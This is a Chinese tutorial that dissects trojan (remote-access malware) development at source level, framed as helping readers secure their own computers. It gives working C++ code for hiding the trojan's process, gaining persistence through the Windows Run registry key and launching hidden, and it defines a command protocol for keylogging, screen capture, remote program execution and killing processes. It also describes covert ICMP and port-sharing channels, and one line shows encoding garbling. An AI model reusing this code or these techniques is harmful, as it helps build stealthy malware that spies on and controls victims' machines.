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近年来,黑客技术不断成熟起来,对网络安全造成了极大的威胁,黑客的主要攻击手段之一,就是使用木马技术,渗透到对方的主机系统里,从而实现对远程操作目标主机。 其破坏力之大,是绝不容忽视的,黑客到底是如何制造了这种种具有破坏力的木马程序呢,下面我对木马进行源代码级的详细的分析,让我们对木马的开发技术做一次彻底的透视,从了解木马技术开始,更加安全的管理好自己的计算机。
1、木马程序的分类
木马程序技术发展至今,已经经历了4代,第一代,即是简单的密码窃取,发送等,没有什么特别之处。第二代木马,在技术上有了很大的进步,冰河可以说为是国内木马的典型代表之一。第三代木马在数据传递技术上,又做了不小的改进,出现了ICMP等类型的木马,利用畸形报文传递数据,增加了查杀的难度。第四代木马在进程隐藏方面,做了大的改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入DLL线程。或者挂接PSAPI,实现木马程序的隐藏,甚至在Windows NT/2000下,都达到了良好的隐藏效果。相信,第五代木马很快也会被编制出来。关于更详细的说明,可以参考ShotGun的文章《揭开木马的神秘面纱》。
2.木马程序的隐藏技术
木马程序的服务器端,为了避免被发现,多数都要进行隐藏处理,下面让我们来看看木马是如何实现隐藏的。
说到隐藏,首先得先了解三个相关的概念:进程,线程和服务。我简单的解释一下。
进程:一个正常的Windows应用程序,在运行之后,都会在系统之中产生一个进程,同时,每个进程,分别对应了一个不同的PID(Progress ID, 进程标识符)这个进程会被系统分配一个虚拟的内存空间地址段,一切相关的程序操作,都会在这个虚拟的空间中进行。
线程:一个进程,可以存在一个或多个线程,线程之间同步执行多种操作,一般地,线程之间是相互独立的,当一个线程发生错误的时候,并不一定会导致整个进程的崩溃。
服务:一个进程当以服务的方式工作的时候,它将会在后台工作,不会出现在任务列表中,但是,在Windows NT/2000下,你仍然可以通过服务管理器检查任何的服务程序是否被启动运行。
想要隐藏木马的服务器端,可以伪隐藏,也可以是真隐藏。伪隐藏,就是指程序的进程仍然存在,只不过是让他消失在进程列表里。真隐藏则是让程序彻底的消失,不以一个进程或者服务的方式工作。
伪隐藏的方法,是比较容易实现的,只要把木马服务器端的程序注册为一个服务就可以了,这样,程序就会从任务列表中消失了,因为系统不认为他是一个进程,当按下Ctrl+Alt+Delete的时候,也就看不到这个程序。但是,这种方法只适用于Windows9x的系统,对于Windows NT,Windows 2000等,通过服务管理器,一样会发现你在系统中注册过的服务。难道伪隐藏的方法就真的不能用在Windows NT/2000下了吗?当然还有办法,那就是API的拦截技术,通过建立一个后台的系统钩子,拦截PSAPI的EnumProcessModules等相关的函数来实现对进程和服务的遍历调用的控制,当检测到进程ID(PID)为木马程序的服务器端进程的时候直接跳过,这样就实现了进程的隐藏,金山词霸等软件,就是使用了类似的方法,拦截了TextOutA,TextOutW函数,来截获屏幕输出,实现即时翻译的。同样,这种方法也可以用在进程隐藏上。
当进程为真隐藏的时候,那么这个木马的服务器部分程序运行之后,就不应该具备一般进程,也不应该具备服务的,也就是说,完全的溶进了系统的内核。也许你会觉得奇怪,刚刚不是说一个应用程序运行之后,一定会产生一个进程吗?的确,所以我们可以不把他做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,这样的结果,导致了查杀黑客程序难度的增加。
出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅ShotGun的文章《NT系统下木马进程的隐藏与检测》。
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int){try{DWORD dwVersion = GetVersion();//取得Windows的版本号if (dwVersion >= 0x80000000) // Windows 9x隐藏任务列表{int (CALLBACK *rsp)(DWORD,DWORD);HINSTANCE dll=LoadLibrary("KERNEL32.DLL");//装入KERNEL32.DLLrsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,"RegisterServiceProcess");//找到RegisterServiceProcess的入口rsp(NULL,1);//注册服务FreeLibrary(dll);//释放DLL模块}}catch (Exception &exception)//处理异常事件{//处理异常事件}return 0;} |
3、程序的自加载运行技术
让程序自运行的方法比较多,除了最常见的方法:加载程序到启动组,写程序启动路径到注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run的方法外,还有很多其他的办法,据yagami讲,还有几十种方法之多,比如可以修改Boot.ini,或者通过注册表里的输入法键值直接挂接启动,通过修改Explorer.exe启动参数等等的方法,真的可以说是防不胜防,下面展示一段通过修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run键值来实现自启动的程序:
自装载部分:HKEY hkey;AnsiString NewProgramName=AnsiString(sys)+AnsiString("+PName/">\\")+PNameunsigned long k;k=REG_OPENED_EXISTING_KEY;RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\",0L,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,NULL,&hkey,&k);RegSetValueEx(hkey,"BackGroup",0,REG_SZ,NewProgramName.c_str(),NewProgramName.Length());RegCloseKey(hkey);if (int(ShellExecute(Handle,"open",NewProgramName.c_str(),NULL,NULL,SW_HIDE))>32){WantClose=true;Close();}else{HKEY hkey;unsigned long k;k=REG_OPENED_EXISTING_KEY;long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",0,NULL,REG_OPTION_NON_VOLATILE,KEY_SET_VALUE,NULL,&hkey,&k);RegSetValueEx(hkey,"BackGroup",0,REG_SZ,ProgramName.c_str(),ProgramName.Length());int num=0;char str[20];DWORD lth=20;DWORD type;char strv[255];DWORD vl=254;DWORD Suc;do{Suc=RegEnumValue(HKEY_LOCAL_MACHINE,(DWORD)num,str,NULL,&type,strv,&vl);if (strcmp(str,"BGroup")==0){DeleteFile(AnsiString(strv));RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");break;}}while(Suc== ERROR_SUCCESS);RegCloseKey(hkey);}自装载程序的卸载代码:int num;char str2[20];DWORD lth=20;DWORD type;char strv[255];DWORD vl=254;DWORD Suc;do{Suc=RegEnumValue(HKEY_LOCAL_MACHINE,(DWORD)num,str,NULL,&type,strv,&vl);if (strcmp(str,"BGroup")==0){DeleteFile(AnsiString(strv));RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");break;}}while(Suc== ERROR_SUCCESS)HKEY hkey;unsigned long k;k=REG_OPENED_EXISTING_KEY;RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",0,NULL,REG_OPTION_NON_VOLATILE,KEY_SET_VALUE,NULL,&hkey,&k);do{Suc=RegEnumValue(hkey,(DWORD)num,str,if (strcmp(str,"BackGroup")==0){DeleteFile(AnsiString(strv));RegDeleteValue(HKEY_LOCAL_MACHINE,"BackGroup");break;}}while(Suc== ERROR_SUCCESS)RegCloseKey(hkey);其中自装载部分使用C++ Builder可以这样写,会比较简化:TRegistry & regKey = *new TRegistry();regKey.RootKey=HKEY_LOCAL_MACHINE;regKey.OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",true);if(!regKey.ValueExists("Interbase Server")){regKey.WriteString("Interbase Server","D:\\Program Files\\Borland\\IntrBase\\BIN\\ibserver.exe");}regKey.CloseKey();delete ®Key; |
4、木马程序的建立连接的隐藏
木马程序的数据传递方法有很多种,其中最常见的要属TCP,UDP传输数据的方法了,通常是利用Winsock与目标机的指定端口建立起连接,使用send和recv等API进行数据的传递,但是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,最简单的,比如在命令行状态下使用netstat命令,就可以查看到当前的活动TCP,UDP连接。
C:\Documents and Settings\bigball>netstat -nActive ConnectionsProto Local Address Foreign Address StateTCP 192.0.0.9:1032 64.4.13.48:1863 ESTABLISHEDTCP 192.0.0.9:1112 61.141.212.95:80 ESTABLISHEDTCP 192.0.0.9:1135 202.130.239.223:80 ESTABLISHEDTCP 192.0.0.9:1142 202.130.239.223:80 ESTABLISHEDTCP 192.0.0.9:1162 192.0.0.8:139 TIME_WAITTCP 192.0.0.9:1169 202.130.239.159:80 ESTABLISHEDTCP 192.0.0.9:1170 202.130.239.133:80 TIME_WAITC:\Documents and Settings\bigball>netstat -aActive ConnectionsProto Local Address Foreign Address StateTCP Liumy:echo Liumy:0 LISTENINGTCP Liumy:discard Liumy:0 LISTENINGTCP Liumy:daytime Liumy:0 LISTENINGTCP Liumy:qotd Liumy:0 LISTENINGTCP Liumy:chargen Liumy:0 LISTENINGTCP Liumy:epmap Liumy:0 LISTENINGTCP Liumy:microsoft-ds Liumy:0 LISTENINGTCP Liumy:1025 Liumy:0 LISTENINGTCP Liumy:1026 Liumy:0 LISTENINGTCP Liumy:1031 Liumy:0 LISTENINGTCP Liumy:1032 Liumy:0 LISTENINGTCP Liumy:1112 Liumy:0 LISTENINGTCP Liumy:1135 Liumy:0 LISTENINGTCP Liumy:1142 Liumy:0 LISTENINGTCP Liumy:1801 Liumy:0 LISTENINGTCP Liumy:3372 Liumy:0 LISTENINGTCP Liumy:3389 Liumy:0 LISTENINGTCP Liumy:netbios-ssn Liumy:0 LISTENINGTCP Liumy:1028 Liumy:0 LISTENINGTCP Liumy:1032 msgr-ns19.msgr.hotmail.com:1863 ESTABTCP Liumy:1112 szptt61.141.szptt.net.cn:http ESTABLITCP Liumy:1135 202.130.239.223:http ESTABLISHEDTCP Liumy:1142 202.130.239.223:http ESTABLISHEDTCP Liumy:1162 W3I:netbios-ssn TIME_WAITTCP Liumy:1170 202.130.239.133:http TIME_WAITTCP Liumy:2103 Liumy:0 LISTENINGTCP Liumy:2105 Liumy:0 LISTENINGTCP Liumy:2107 Liumy:0 LISTENINGUDP Liumy:echo *:*UDP Liumy:discard *:*UDP Liumy:daytime *:*UDP Liumy:qotd *:*UDP Liumy:chargen *:*UDP Liumy:epmap *:*UDP Liumy:snmp *:*UDP Liumy:microsoft-ds *:*UDP Liumy:1027 *:*UDP Liumy:1029 *:*UDP Liumy:3527 *:*UDP Liumy:4000 *:*UDP Liumy:4001 *:*UDP Liumy:1033 *:*UDP Liumy:1148 *:*UDP Liumy:netbios-ns *:*UDP Liumy:netbios-dgm *:*UDP Liumy:isakmp *:* |
但是,黑客还是用种种手段躲避了这种侦察,就我所知的方法大概有两种,一种是合并端口法,也就是说,使用特殊的手段,在一个端口上同时绑定两个TCP或者UDP连接,这听起来不可思议,但事实上确实如此,而且已经出现了使用类似方法的程序,通过把自己的木马端口绑定于特定的服务端口之上,(比如80端口的HTTP,谁怀疑他会是木马程序呢?)从而达到隐藏端口的目地。另外一种办法,是使用ICMP(Internet Control Message Protocol)协议进行数据的发送,原理是修改ICMP头的构造,加入木马的控制字段,这样的木马,具备很多新的特点,不占用端口的特点,使用户难以发觉,同时,使用ICMP可以穿透一些防火墙,从而增加了防范的难度。之所以具有这种特点,是因为ICMP不同于TCP,UDP,ICMP工作于网络的应用层不使用TCP协议。关于网络层次的结构,下面给出图示:

网络层次结构图 |
5、发送数据的组织方法
关于数据的组织方法,可以说是数学上的问题。关键在于传递数据的可靠性,压缩性,以及高效行。木马程序,为了避免被发现,必须很好的控制数据传输量,一个编制较好的木马,往往有自己的一套传输协议,那么程序上,到底是如何组织实现的呢?下面,我举例包装一些协议:
typedef struct{ //定义消息结构//char ip[20];char Type; //消息种类char Password[20]; //密码int CNum; //消息操作号//int Length; //消息长度}Msg;#define MsgLen sizeof(Msg)//-------------------------------------------//对话框数据包定义:Dlg_Msg_Type.h//-------------------------------------------//定义如下消息类型:#define MsgDlgCommon 4//连接事件#define MsgDlgSend 5//发送完成事件//消息结构typedef struct{char Name[20];//对话框标题char Msg[256];//对话框消息内容}MsgDlgUint;#define MsgDlgLen sizeof(MsgDlgUint)//消息单元长度//------------------------------------------//聊天数据包定义:Chat_Msg_Type.h//------------------------------------------//定义如下消息类型:#define MsgChatCommon 0//连接事件#define MsgChatConnect 1//接入事件#define MsgChatEscept 2//结束事件#define MsgChatReceived 16//确认对话内容收到//消息结构typedef struct{char ClientName[20];//Client自定义的名称char Msg[256];//发送的消息}MsgChatUint;#define MsgChatLen sizeof(MsgChatUint)//消息单元长度//------------------------------------------//重启数据包定义:Reboot_Msg_Type.h//------------------------------------------//定义如下消息类型:#define MsgReBoot 15//重启事件//------------------------------------------//目录结构请求数据包定义:Dir_Msg_Type.h//------------------------------------------//定义如下消息类型:#define MsgGetDirInfo 17#define MsgReceiveGetDirInfo 18typedef struct{char Dir[4096];//你要的目录名}MsgDirUint;#define MsgDirUintLen sizeof(MsgDirUint)// TCP的Msgtypedef struct{ //定义消息结构char SType; //消息种类char SPassword[20]; //密码//int SNum; //消息操作号char *AllMsg;}SMsg;#define SMsgLen sizeof(SMsg)#define MSGListProgram 19#define MSGFlyMouse 21#define MSGGoWithMouse 22#define MSGSaveKey 23#define MSGTracekey 24#define MsgCopyScreen 25//tcp接收消息,udp请求消息#define MSGCopyWindow 26//-------------------------//鼠标指针隐藏和显示控制//-------------------------#define MsgSetMouseStat 27//设置消息#define MsgMouseStat 28//成功消息typedef struct{bool mouseshow;}MsgSetMouseStatUint;#define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)//-------------------------//任务栏隐藏和显示控制//-------------------------#define MsgSetTaskBarStat 29//设置消息#define MsgTaskBarStat 30//成功消息typedef struct{bool taskshow;}MsgSetTaskBarStatUint;#define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)//-------------------------//得到机器名//-------------------------#define MsgGetNetBiosName 31//取请求#define MsgNetBiosName 32//回送机器名typedef struct{char NetBiosName[128];}MsgNetBiosNameUint;#define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)//-------------------------//关闭进程变更!//-------------------------#define MsgSetProgramClose 33//关闭请求#define MsgProgramClosed 34//成功消息-----typedef struct{char ProgramName[4096];//old struct : char ProgramName[128];//要关闭的窗口的名字}MsgSetProgramCloseUint;#define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)//-------------------------//打开进程变更!//-------------------------#define MsgSetProgramOpen 20//打开请求#define MsgProgramOpened 36//成功消息typedef struct{char ProgramName[4096]; //old struct : char ProgramName[128];//要打开的程序的名字bool ProgramShow;//前台运行或后台运行程序(隐藏运行)}MsgSetProgramOpenUint;#define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)#define MsgGetHardWare 35//请求硬件信息(UDP消息)和回传硬件信息(TCP消息) |
上面一段定义,使用了TCP和UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类似的密码定义,目地是为了防止非真实客户机的连接请求。SNum 为消息操作号,它的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的OICQ也正是使用了这一办法来校验消⒌摹?/P>
数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为一个VOID类型的数据流,然后发送:
Msg *msg=new Msg;TMemoryStream *RData=new TMemoryStream;NMUDP1->ReadStream(RData);RData->Read(msg,sizeof(Msg));UdpConnect *udpconnect=new UdpConnect;NetBiosName *netbiosname=new NetBiosName;if(msg->CNum==CNumBak)return;else{CNumBak=msg->CNum;switch(msg->Type){case 0://MsgUdpConnectRData->Read(udpconnect,sizeof(UdpConnect));checkuser(udpconnect->IsRight);break;case 1:RData->Read(netbiosname,sizeof(NetBiosName));AnsiString jqm="机器名 ";jqm+=(AnsiString)netbiosname->NetBiosName;Memo2->Lines->Add(jqm);break;}} |
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